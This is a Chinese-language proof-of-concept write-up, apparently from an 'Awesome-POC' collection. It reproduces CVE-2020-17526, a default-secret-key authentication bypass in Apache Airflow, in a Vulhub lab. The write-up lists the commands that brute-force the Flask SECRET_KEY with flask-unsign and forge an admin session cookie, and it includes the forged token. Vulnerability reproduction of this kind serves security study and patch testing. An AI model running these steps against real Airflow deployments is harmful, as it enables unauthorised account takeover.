Awesome-POC/Web应用漏洞/Apache Airflow 默认密钥导致的权限绕过 CVE-2020-17526.md
2024-11-06 14:10:36 +08:00

70 lines
2.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Apache Airflow 默认密钥导致的权限绕过 CVE-2020-17526
## 漏洞描述
Apache Airflow是一款开源的分布式任务调度框架。默认情况下Apache Airflow无需用户认证但管理员也可以通过指定`webserver.authenticate=True`来开启认证。
在其1.10.13版本及以前,即使开启了认证,攻击者也可以通过一个默认密钥来绕过登录,伪造任意用户。
参考链接:
- https://lists.apache.org/thread/rxn1y1f9fco3w983vk80ps6l32rzm6t0
- https://kloudle.com/academy/authentication-bypass-in-apache-airflow-cve-2020-17526-and-aws-cloud-platform-compromise
## 环境搭建
Vulhub执行如下命令启动一个Apache Airflow 1.10.10
```
#初始化数据库
docker-compose run airflow-init
#启动服务
docker-compose up -d
```
服务器启动后,访问`http://your-ip:8080/admin/airflow/login`即可查看到登录页面。
## 漏洞复现
首先我们访问登录页面服务器会返回一个签名后的Cookie
```
curl -v http://localhost:8080/admin/airflow/login
```
![image-20220329105609442](images/202204251948002.png)
然后,使用[flask-unsign](https://github.com/Paradoxis/Flask-Unsign)这个工具来爆破签名时使用的`SECRET_KEY`
```
# 安装flask-unsign
pip install flask-unsign[wordlist]
# 开始爆破
flask-unsign -u -c [session from Cookie]
```
![image-20220329105921359](images/202204251948003.png)
Bingo成功爆破出Key是`temporary_key`。使用这个key生成一个新的session其中伪造`user_id`为1
```
flask-unsign -s --secret temporary_key -c "{'user_id': '1', '_fresh': False, '_permanent': True}"
```
![image-20220329110052524](images/202204251948004.png)
新生成的session为
```
eyJfZnJlc2giOmZhbHNlLCJfcGVybWFuZW50Ijp0cnVlLCJ1c2VyX2lkIjoiMSJ9.YkJ2WQ.sUbyyQy70a2A6FPd6fO6UVAyQ-U
```
在浏览器中使用这个新生成的session可见已成功登录
![image-20220329110946880](images/202204251948005.png)
可以使用Chrome插件[EditThisCookie](https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg/related?hl=zh)对Cookie进行修改。